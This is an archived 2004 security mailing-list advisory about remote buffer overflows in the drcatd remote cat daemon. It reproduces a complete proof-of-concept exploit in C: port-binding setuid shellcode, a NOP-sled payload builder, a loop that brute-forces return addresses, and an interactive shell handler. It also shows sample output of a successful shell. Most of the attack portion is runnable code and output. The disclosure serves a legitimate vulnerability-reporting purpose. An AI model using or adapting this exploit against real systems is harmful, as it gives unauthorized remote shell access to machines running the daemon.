[EXPL] Drcatd Multiple Buffer Overflows (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/04

  • Next message: SecuriTeam: "[UNIX] Atari800 Multiple Buffer Overflows (Exploit)"
    To: list@securiteam.com
    Date: 21 Jul 2004 11:17:02 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Drcatd Multiple Buffer Overflows (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article,
    <http://www.securiteam.com/unixfocus/5BP0N2AD5I.html> Drcatd Multiple
    Buffer Overflows, multiple local buffer overflows and a remotely triggered
    buffer overflow have been found in the remote cat daemon. The remote
    overflow is triggered once an overly long filename string of a file that
    does not exist is passed to the server.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * Drcat version 0.5.0-beta

    Exploit:
    /*

    Proof of Concept DRCATD Remote exploit
                                   by Taif
    __
    Test:
    [root@localhost drcat]# ./drcat -d 127.0.0.1 -u taif -p test
    Public code by Taif
    drcat-0.5.0-beta ('remote r00t' proof)
    Bug found by Khan Shirani

    host: +-+-+-+-+-+-+-+
          127.0.0.1 |C|L|U|P|C|S|R|
    user: |O|O|S|A|O|E|O|
               taif |O|G|E|S|D|N|O|
    password: |N|O|R|S|E|D|T|
               test | | | | | | | |
    ---------retaddr---+-+-+-+-+-+-+-+
           bfefc000 * * * * * * X
           bfefbfd1 * * * * * * X
           bfefbfa2 * * * * * * X
           bfefbf73 * * * * * * X
           bfefbf44 * * * * * * X
           bfefbf15 * * * * * * X
           bfefbee6 * * * * * * X
           bfefbeb7 * * * * * * X
           bfefbe88 * * * * * * X
           bfefbe59 * * * * * * X
           bfefbe2a * * * * * * X
           bfefbdfb * * * * * * X
           bfefbdcc * * * * * * X
           bfefbd9d * * * * * * X
           bfefbd6e * * * * * * X
           bfefbd3f * * * * * * X
           bfefbd10 * * * * * * X
           bfefbce1 * * * * * * X
           bfefbcb2 * * * * * * X
           bfefbc83 * * * * * * X
           bfefbc54 * * * * * * X
           bfefbc25 * * * * * * X
           bfefbbf6 * * * * * * X
           bfefbbc7 * * * * * * X
           bfefbb98 * * * * * * X
           bfefbb69 * * * * * * X
           bfefbb3a * * * * * * X
           bfefbb0b * * * * * * X
           bfefbadc * * * * * * X
           bfefbaad * * * * * * X
           bfefba7e * * * * * * X
           bfefba4f * * * * * * X
           bfefba20 * * * * * * X
           bfefb9f1 * * * * * * X
           bfefb9c2 * * * * * * X
           bfefb993 * * * * * * X
           bfefb964 * * * * * * X
           bfefb935 * * * * * * X
           bfefb906 * * * * * * X
           bfefb8d7 * * * * * * X
           bfefb8a8 * * * * * * X
           bfefb879 * * * * * * X
           bfefb84a * * * * * * X
           bfefb81b * * * * * * X
           bfefb7ec * * * * * * X
           bfefb7bd * * * * * * X
           bfefb78e * * * * * * X
           bfefb75f * * * * * * X
           bfefb730 * * * * * * X
           bfefb701 * * * * * * X
           bfefb6d2 * * * * * * X
           bfefb6a3 * * * * * * X
           bfefb674 * * * * * * X
           bfefb645 * * * * * * X
           bfefb616 * * * * * * X
           bfefb5e7 * * * * * * X
           bfefb5b8 * * * * * * X
           bfefb589 * * * * * * X
           bfefb55a * * * * * * X
           bfefb52b * * * * * * X
           bfefb4fc * * * * * * *
    * HAVE FUN * HAVE FUN * HAVE FUN * HAVE FUN * HAVE FUN *
    Linux localhost.localdomain 2.4.26 #9 P ?ec 2 09:20:29 CEST 2004 i686
    athlon i386 GNU/Linux
    uid=500(taif) gid=500(taif) groups=500(taif)
    10:04pm up 1:00, 1 user, load average: 0.42, 0.35, 0.20
    USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
    ...

    NOTE:
    Use this on your own risk!!
    This exploit is unnecessary!!
    */

    #include <stdio.h>
    #include <netdb.h>
    #include <unistd.h>

    #define MAXDATASIZE (1024 * 4)

    /* Color Pallete ... i love colors;) */
    #define YELLOW "\E[33m"
    #define GREEN "\E[32m"
    #define RED "\E[31m"
    #define RESTORE "\E[0m"

    #define PRINTGREEN(string) \
           printf("%s%s%s",GREEN,string,RESTORE); \
           fflush(stdout);

    #define PRINTRED(string) \
           printf("%s%s%s",RED,string,RESTORE); \
           fflush(stdout);

    #define PRINTYELLOW(string) \
           printf("%s%s%s",YELLOW,string,RESTORE); \
           fflush(stdout);

    /* portbind 20000 (by bighawk) *
    * +setuid() */
    char code[] =
    "\x31\xc0" /* xorl %eax,%eax */
    "\x31\xdb" /* xorl %ebx,%ebx */
    "\xb0\x17" /* movb $0x17,%al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xdb" /* xor ebx, ebx */
    "\xf7\xe3" /* mul ebx */
    "\xb0\x66" /* mov al, 102 */
    "\x53" /* push ebx */
    "\x43" /* inc ebx */
    "\x53" /* push ebx */
    "\x43" /* inc ebx */
    "\x53" /* push ebx */
    "\x89\xe1" /* mov ecx, esp */
    "\x4b" /* dec ebx */
    "\xcd\x80" /* int 80h */
    "\x89\xc7" /* mov edi, eax */
    "\x52" /* push edx */
    "\x66\x68\x4e\x20"/* push word 8270 */
    "\x43" /* inc ebx */
    "\x66\x53" /* push bx */
    "\x89\xe1" /* mov ecx, esp */
    "\xb0\xef" /* mov al, 239 */
    "\xf6\xd0" /* not al */
    "\x50" /* push eax */
    "\x51" /* push ecx */
    "\x57" /* push edi */
    "\x89\xe1" /* mov ecx, esp */
    "\xb0\x66" /* mov al, 102 */
    "\xcd\x80" /* int 80h */
    "\xb0\x66" /* mov al, 102 */
    "\x43" /* inc ebx */
    "\x43" /* inc ebx */
    "\xcd\x80" /* int 80h */
    "\x50" /* push eax */
    "\x50" /* push eax */
    "\x57" /* push edi */
    "\x89\xe1" /* mov ecx, esp */
    "\x43" /* inc ebx */
    "\xb0\x66" /* mov al, 102 */
    "\xcd\x80" /* int 80h */
    "\x89\xd9" /* mov ecx, ebx */
    "\x89\xc3" /* mov ebx, eax */
    "\xb0\x3f" /* mov al, 63 */
    "\x49" /* dec ecx */
    "\xcd\x80" /* int 80h */
    "\x41" /* inc ecx */
    "\xe2\xf8" /* loop lp */
    "\x51" /* push ecx */
    "\x68\x6e\x2f\x73\x68"/* push dword 68732f6eh */
    "\x68\x2f\x2f\x62\x69"/* push dword 69622f2fh */
    "\x89\xe3" /* mov ebx, esp */
    "\x51" /* push ecx */
    "\x53" /* push ebx */
    "\x89\xe1" /* mov ecx, esp */
    "\xb0\xf4" /* mov al, 244 */
    "\xf6\xd0" /* not al */
    "\xcd\x80"; /* int 80h */

    void banner()
    {
    fprintf(stderr,"Public code by Taif \n"
                  "drcat-0.5.0-beta (\'remote r00t\' proof)\n"
                  "Bug found by Khan Shirani \n\n");
    }

    void usage (char *progname)
    {
    int i;
    fprintf (stderr, "usage: %s arguments \n\n"
                    "-d hostanme (127.0.0.1) \n"
                    "-u user (NULL) \n"
                    "-p password (NULL) \n"
                    "-P port (3535) \n"
                    "-t timeout (1000=1s) (300) \n"
                    "\n", progname);

    exit (0);
    }

    int conn(char *ip,int port)
    {
    int sock;
    struct hostent *host;
    struct sockaddr_in addr;

    if((host=gethostbyname(ip))==NULL)
     { PRINTRED("X\ngethostbyname()\n"); exit(1); }

    addr.sin_family=AF_INET;
    addr.sin_port=htons(port);
    addr.sin_addr=*((struct in_addr *)host->h_addr);
    memset(&(addr.sin_zero),0,8);

    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
     { PRINTRED("X\nsocket()\n"); exit(1); }

    if(connect(sock,(struct sockaddr *)&addr,sizeof(struct sockaddr))==-1)
     { PRINTRED("X\n"); return(-1);}

    return(sock);
    }

    void login(int sock,char* user,char *pass)
    {
    char buffer[1024];
    int n;

    memset(buffer,0,sizeof(buffer));
    n=recv(sock, buffer, 6, 0);
    if(n<0) { PRINTRED("\nrecv()\n"); exit(1); }
    if(n==6)
     {
     if(strcmp(buffer, "drcatd")) {PRINTYELLOW("* ");}
       else {PRINTGREEN("* ");};
     }
    else {PRINTYELLOW("* ");}

    if(send(sock, user, strlen(user), 0) == -1)
     {PRINTRED("\nsend()\n");close(sock);exit(1);}

    n=recv(sock, buffer, 1, 0);
    if(buffer[0] == '0')
     {
     PRINTRED("X\nINVALID USER\n");
     close(sock);
     exit(1);
     }
    else {PRINTGREEN("* ")};

    if(send(sock, pass, strlen(pass), 0) == -1)
     {PRINTRED("send()\n");close(sock);exit(1);}

    n=recv(sock, buffer, 1, 0);
     if(buffer[0] == '0')
     {
     PRINTRED("X\nINVALID PASSWORD\n");
     close(sock);
     exit(1);
     }
    return;
    }

    /* change with care */
    #define TOP 290

    void makec0de(char* haox,unsigned int ret)
    {
    int i;

    memset(haox,0,512);
    memset(haox,0x90,TOP);
    for (i=0;i<sizeof(code)-1;i++)
    haox[TOP-sizeof(code)+i]=code[i];
    /* yeah fucking thing (ret%4) */
    for (i=TOP-(ret%4);i<504;i=i+4)
    *(long *)&haox[i]=ret;
    }

    void send_it(int sock,char* buffer)
    {
    int len;

    len=strlen(buffer);
    if (send(sock, buffer, len, 0) == -1)
     {
     PRINTRED("X\nsend()\n");
     close(sock);
     exit(1);
     }
    return;
    }

    int sh(int sock)
    {
    char snd[1024], rcv[1024];
    fd_set rset;
    int maxfd, n;
    int received = 0;

    //strcpy(snd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
    //write(sock, snd, strlen(snd));

    strcpy(snd, "uname -a; id; w\n");
    write(sock, snd, strlen(snd));

    for (;;)
    {
    FD_SET(fileno(stdin), &rset);
    FD_SET(sock, &rset);

    maxfd = ( ( fileno(stdin) > sock )?fileno(stdin):sock ) + 1;
    select(maxfd, &rset, NULL, NULL, NULL);

    if (FD_ISSET(fileno(stdin), &rset))
     {
     bzero(snd, sizeof(snd));
     fgets(snd, sizeof(snd)-2, stdin);
     write(sock, snd, strlen(snd));
     }

    if (FD_ISSET(sock, &rset))
     {
     bzero(rcv, sizeof(rcv));
     if ((n = read(sock, rcv, sizeof(rcv))) == -1)
       {
       printf("***: Error in read\n");
       exit(1);
       }
     if (!n)
       {
       if (!received)
         {
         printf("***: failed.\n\n");
         return 0;
         }
       printf("Connection closed.\n");
       exit(1);
       }

     received = 1;
     fputs(rcv, stdout);
     fflush(stdout);
     }
    }
    }

    int main(int argc, char *argv[]){
    char buff[MAXDATASIZE];
    char *host, *user,*pass,c;
    int sockfd,sockfd2;
    int port = 3535;
    int time = 300;
    int ret=0xc0000000-(MAXDATASIZE*260);

    host="127.0.0.1";
    user=NULL;
    pass=NULL;

    banner();
    if (argc<2) usage (argv[0]);

    while((c=getopt(argc,argv,"?hd:u:p:P:t:"))!=-1)
           {
                   switch(c)
                   {
                   case 't':
                                   time=atoi(optarg);
                                   break;
                   case 'P':
                                   port=atoi(optarg);
                                   break;
                   case 'u':
                                   user=optarg;
                                   break;
                   case 'd':
                                   host=optarg;
                                   break;
                   case 'p':
                                   pass=optarg;
                                   break;
                   case '?':
                   case 'h':
                   default:
                                   usage (argv[0]);
                                   break;

                   }
           }

    if (host==NULL)
     {PRINTRED("Set host!\n");usage (argv[0]);}
    if (user==NULL)
     {PRINTRED("Set user!\n");usage (argv[0]);}
    if (pass==NULL)
     {PRINTRED("Set password!\n");usage (argv[0]);}
     
    printf(" host: +-+-+-+-+-+-+-+\n"
          "%16s |C|L|U|P|C|S|R|\n"
          " user: |O|O|S|A|O|E|O|\n"
          "%16s |O|G|E|S|D|N|O|\n"
          " password: |N|O|R|S|E|D|T|\n"
          "%16s | | | | | | | |\n"
          "---------retaddr---+-+-+-+-+-+-+-+\n"
          ,host,user,pass);fflush(stdout);
    while(1)
    {
    printf("%16x ",ret);fflush(stdout);
    sockfd=conn(host,port);
    if (sockfd<0) {PRINTRED("connect()\n");exit(1);}
     else PRINTGREEN("* ");
    login(sockfd,user,pass);PRINTGREEN("* ");
    makec0de(buff,ret);PRINTGREEN("* ");
    send_it(sockfd,buff);PRINTGREEN("* ");
    close(sockfd);
    usleep(time*1000);
    sockfd=conn(host,20000);
    if (!(sockfd<0))
     {
     PRINTGREEN("*\n");
     PRINTGREEN("* HAVE FUN * HAVE FUN * HAVE FUN * HAVE FUN * HAVE FUN *\n");
     sh(sockfd);
     close(sockfd);
     exit(0);
     }
    ret=ret-((TOP-sizeof(code))/4);
    }
    exit(0);

    }

    ADDITIONAL INFORMATION

    The information has been provided by Taif.
    The original article can be found at:
    <http://www.cnhonker.com/index.php?module=exploits&act=view&type=6&id=585>
    http://www.cnhonker.com/index.php?module=exploits&act=view&type=6&id=585

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Atari800 Multiple Buffer Overflows (Exploit)"

    Relevant Pages